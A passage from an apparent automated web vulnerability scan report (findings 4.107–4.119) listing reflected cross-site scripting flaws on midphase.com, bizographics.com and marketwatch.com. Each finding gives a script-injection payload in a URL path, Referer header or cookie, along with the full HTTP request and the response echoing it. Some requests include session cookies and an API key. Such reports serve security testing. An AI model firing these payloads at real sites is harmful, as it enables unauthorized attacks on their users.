<input type="hidden" name="url" value="/includes/form-processing/captchaae79b"><script>alert(1)</script>9d0b499024c/cryptographp.inc.php?cfg=gray.cfg.php&sn=PHPSESSID&" />
...[SNIP]...

4.107. http://www.midphase.com/includes/form-processing/captcha/cryptographp.inc.php [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.inc.php

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e16be"><script>alert(1)</script>1b06e342ecb was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/form-processing/captcha/cryptographp.inc.phpe16be"><script>alert(1)</script>1b06e342ecb?cfg=gray.cfg.php&sn=PHPSESSID& HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: cryptcookietest=1; PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4; __utma=1.1523231672.1305459815.1305459815.1305459815.1; __utmb=1.1.10.1305459815; __utmc=1; __utmz=1.1305459815.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/18

Response

HTTP/1.1 404 Not Found
Date: Sun, 15 May 2011 11:44:26 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
<input type="hidden" name="url" value="/includes/form-processing/captcha/cryptographp.inc.phpe16be"><script>alert(1)</script>1b06e342ecb?cfg=gray.cfg.php&sn=PHPSESSID&" />
...[SNIP]...

4.108. http://www.midphase.com/includes/form-processing/captcha/cryptographp.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4abb0"><script>alert(1)</script>2e2a3247d6d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes4abb0"><script>alert(1)</script>2e2a3247d6d/form-processing/captcha/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4 HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4

Response

HTTP/1.1 404 Not Found
Date: Sun, 15 May 2011 11:44:20 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
<input type="hidden" name="url" value="/includes4abb0"><script>alert(1)</script>2e2a3247d6d/form-processing/captcha/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4" />
...[SNIP]...

4.109. http://www.midphase.com/includes/form-processing/captcha/cryptographp.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5edea"><script>alert(1)</script>b0b3170b056 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/form-processing5edea"><script>alert(1)</script>b0b3170b056/captcha/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4 HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4

Response

HTTP/1.1 404 Not Found
Date: Sun, 15 May 2011 11:44:22 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
<input type="hidden" name="url" value="/includes/form-processing5edea"><script>alert(1)</script>b0b3170b056/captcha/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4" />
...[SNIP]...

4.110. http://www.midphase.com/includes/form-processing/captcha/cryptographp.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 527ba"><script>alert(1)</script>327fd3bc82b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/form-processing/captcha527ba"><script>alert(1)</script>327fd3bc82b/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4 HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4

Response

HTTP/1.1 404 Not Found
Date: Sun, 15 May 2011 11:44:25 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
<input type="hidden" name="url" value="/includes/form-processing/captcha527ba"><script>alert(1)</script>327fd3bc82b/cryptographp.php?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4" />
...[SNIP]...

4.111. http://www.midphase.com/includes/form-processing/captcha/cryptographp.php [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.midphase.com
Path:	/includes/form-processing/captcha/cryptographp.php

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9abb7"><script>alert(1)</script>06a292b4cf1 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /includes/form-processing/captcha/cryptographp.php9abb7"><script>alert(1)</script>06a292b4cf1?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4 HTTP/1.1
Host: www.midphase.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/favicon.ico6dbc2%22%3E%3Cscript%3Ealert(%22FAVICON%22)%3C/script%3E632c554a508
Cookie: PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4

Response

HTTP/1.1 404 Not Found
Date: Sun, 15 May 2011 11:44:27 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_bwlimited/1.4 PHP/5.2.17
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16436

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<meta http-
...[SNIP]...
<input type="hidden" name="url" value="/includes/form-processing/captcha/cryptographp.php9abb7"><script>alert(1)</script>06a292b4cf1?cfg=gray.cfg.php&PHPSESSID=4ce2fc16286b938aab03c2f4eaa18ef4" />
...[SNIP]...

4.112. http://api.bizographics.com/v1/profile.json [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.json

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 40c1e<script>alert(1)</script>2e9333aef9f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoData&api_key=r9t72482usanbp6sphprhvun HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: 40c1e<script>alert(1)</script>2e9333aef9f
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: text/plain
Date: Sat, 14 May 2011 10:09:45 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 58
Connection: keep-alive

Unknown Referer: 40c1e<script>alert(1)</script>2e9333aef9f

4.113. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [BIZO cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The value of the BIZO cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c93e5'-alert(1)-'ec0cd355753 was submitted in the BIZO cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&c93e5'-alert(1)-'ec0cd355753; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

4.114. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [BIZO cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The value of the BIZO cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56b02"><script>alert(1)</script>4af42568a0c was submitted in the BIZO cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&56b02"><script>alert(1)</script>4af42568a0c; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

4.115. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [rsi_csl cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The value of the rsi_csl cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 65b46'%3balert(1)//2bc564917cd was submitted in the rsi_csl cookie. This input was echoed as 65b46';alert(1)//2bc564917cd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA65b46'%3balert(1)//2bc564917cd; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

4.116. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [rsi_csl cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The value of the rsi_csl cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa672"><script>alert(1)</script>8a2f592393e was submitted in the rsi_csl cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lAfa672"><script>alert(1)</script>8a2f592393e; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

4.117. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [rsi_segs cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The value of the rsi_segs cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe1c5"><script>alert(1)</script>51f807aa8f0 was submitted in the rsi_segs cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001fe1c5"><script>alert(1)</script>51f807aa8f0; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

4.118. http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13 [rsi_segs cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13

Issue detail

The value of the rsi_segs cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 509ee'%3balert(1)//804f8172b67 was submitted in the rsi_segs cookie. This input was echoed as 509ee';alert(1)//804f8172b67 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001509ee'%3balert(1)//804f8172b67; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

4.119. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 [BIZO cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The value of the BIZO cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3983e'-alert(1)-'1a648a25759 was submitted in the BIZO cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
